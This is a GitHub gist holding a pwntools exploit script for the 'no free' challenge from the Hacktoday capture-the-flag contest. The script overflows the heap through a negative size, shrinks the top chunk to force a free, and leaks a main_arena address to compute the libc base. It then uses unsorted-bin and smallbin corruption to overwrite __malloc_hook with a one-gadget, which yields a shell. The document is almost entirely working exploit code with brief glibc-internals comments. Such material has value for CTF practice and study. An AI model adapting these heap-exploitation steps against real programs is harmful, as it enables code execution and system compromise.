Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Last active August 10, 2020 06:27
Show Gist options
  • Save d4em0n/c13aeca352f18a86e9aa16647d550441 to your computer and use it in GitHub Desktop.
Save d4em0n/c13aeca352f18a86e9aa16647d550441 to your computer and use it in GitHub Desktop.
Hacktoday: no free exploit script
from pwn import *
# NOTE: libc offset might be different, i'm using my local libc instead of
# challenge libc
context.terminal = "tmux splitw -h -f".split()
p = process("./chall")
def goto(n):
p.sendlineafter("#>", str(n))
return
def edit_user(user):
goto(5)
p.sendafter("username: ", user)
return
def create(sz, name, content):
goto(1)
p.sendlineafter(": ", str(sz))
p.sendlineafter(": ", name)
p.sendafter(": ", content)
return
def edit(idx, name, content):
goto(3)
p.sendlineafter(": ", str(idx))
p.sendafter(": ", name)
p.sendafter(": ", content)
return
def view(idx):
goto(2)
p.sendlineafter(": ", str(idx))
p.recvuntil("Name: ")
name = p.recvuntil("\n──────────", drop=True)
p.recvuntil("Content:\n")
content = p.recvuntil("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━", drop=True)
return name, content
def feedback(size, fd):
goto(6)
p.sendlineafter(": ", str(size))
p.sendafter(": ", fd)
user = "AAAA"
p.sendafter("username: ", user)
create(0xf0, "A"*8, "A"*8)
# craft fake chunk and set fwd pointer to 0x804b0a8-8 (bk) for bypassing check
# if ((victim = last (bin)) != bin)
# {
# if (victim == 0) /* initialization check */
# malloc_consolidate (av);
# else
# {
# bck = victim->bk;
# if (__glibc_unlikely (bck->fd != victim))
# {
# errstr = "malloc(): smallbin double linked list corrupted";
# goto errout;
# }
create(0xf0, "A"*8, b"B"*8+p32(0x804b0a8-8))
# overflow the heap and overwrite top size with small value for trigerring
# int_free in sysmalloc
create(-1, b"C"*264+p32(0xc99), "C"*8)
# trigerring int_free in sysmalloc
# assert ((old_top == initial_top (av) && old_size == 0) ||
# ((unsigned long) (old_size) >= MINSIZE &&
# prev_inuse (old_top) &&
# ((unsigned long) old_end & (pagesize - 1)) == 0));
# assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
feedback(4096, "AA")
create(0x0, "", "B"*8) # input name with 0 length, to get leak main_arena address
# calculate offset
leak = u32(view(3)[0][:4])
libc_base = leak - 1772208
malloc_hook = libc_base+1771368
top_in_main_arena = libc_base+1771440
print(hex(libc_base))
# just some padding
feedback(3000, "B"*200)
# heap overflow and trigerring unsorted bin attack, using this we can write
# address of main_arena at list[0] (0x804b0a0)
create(-1, b"C"*0x108+p32(0x111)+p32(top_in_main_arena)+p32(0x804b0a0-8), "C"*0x107)
pause()
pay_main_arena = p32(0) # last remainder
pay_main_arena += p32(top_in_main_arena)*2 # fix unsorted bin bk and fd with old value from main arena
pay_main_arena += p32(top_in_main_arena+8) # fwd pointer for smallbin[0]
pay_main_arena += p32(0x804b0a8-8) # set bk pointer to target chunk
edit(0, pay_main_arena, p32(malloc_hook-4)) # overwrite target chunk with malloc_hook-4
edit(1, p32(libc_base+0x3a2e1), "\n") # one gadget
p.interactive()
@d4em0n
Copy link
Author

d4em0n commented Aug 10, 2020

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment